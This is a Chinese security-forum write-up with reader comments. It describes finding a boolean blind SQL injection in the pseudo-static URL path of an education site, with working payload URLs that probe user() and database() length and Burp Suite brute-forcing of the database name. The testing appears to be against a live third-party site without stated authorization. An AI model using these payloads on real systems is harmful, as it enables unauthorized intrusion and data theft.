最近工作繁忙,许久没有挖洞,打开度娘,凡事随缘,偶米头发~~(⊙﹏⊙)
SQL注入基础原理
盲注常用函数及思路
burpsuite基础知识
在翻阅一EDU站点时,发现路径中带有明显的数字参数
好像与我们平时习惯的xxx.php?id=
不同呃
按照以往习惯,先用order by
探探底,结果翻车了…应该有自定义逻辑在过滤敏感关键词。
继续努力,峰回路转,耶~~~!
构造boolen等式时能够被带入查询语句并显示不同效果
当条件不符合时,71-false=71,显示71.html,无数据
http://EDU_SITE/.../..._id/71-false.html
=> SELECT ..FROM .. WHERE ... AND _id=71-false
而当条件符合时,71-true=70,显示70.html,有数据
http://EDU_SITE/.../..._id/71-true.html
=> SELECT ..FROM .. WHERE ... AND _id=71-true
获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)
获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html
=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)
尝试用burpsuite的clusterboom模式对database进行爆破
其中参数1 为位数,参数2 为可能出现的字符明文
获得最终database()=db_cms
在尝试sql注入的时候,往往过分关注get传参或者post传参而忽略了URL中自带的注入点,有时候一些明显的数字型参数也能够带入payload
多尝试,多总结
祝各位师兄们也都收获满满~~!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-手电筒 | 50.00 | 0 | 2021-08-25 11:11:47 | 一个受益终生的帖子~~ |
416567240a | 10.00 | 0 | 2021-08-25 08:08:27 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2023 掌控者 All Rights Reserved.
416567240a
发表于 2021-8-25
666
学习到了 伪静态测试方法了
评论列表
加载数据中...
小酒
发表于 2021-9-16
id/88-false.html
大佬是这样嘛?测试了几个网站不成功
评论列表
加载数据中...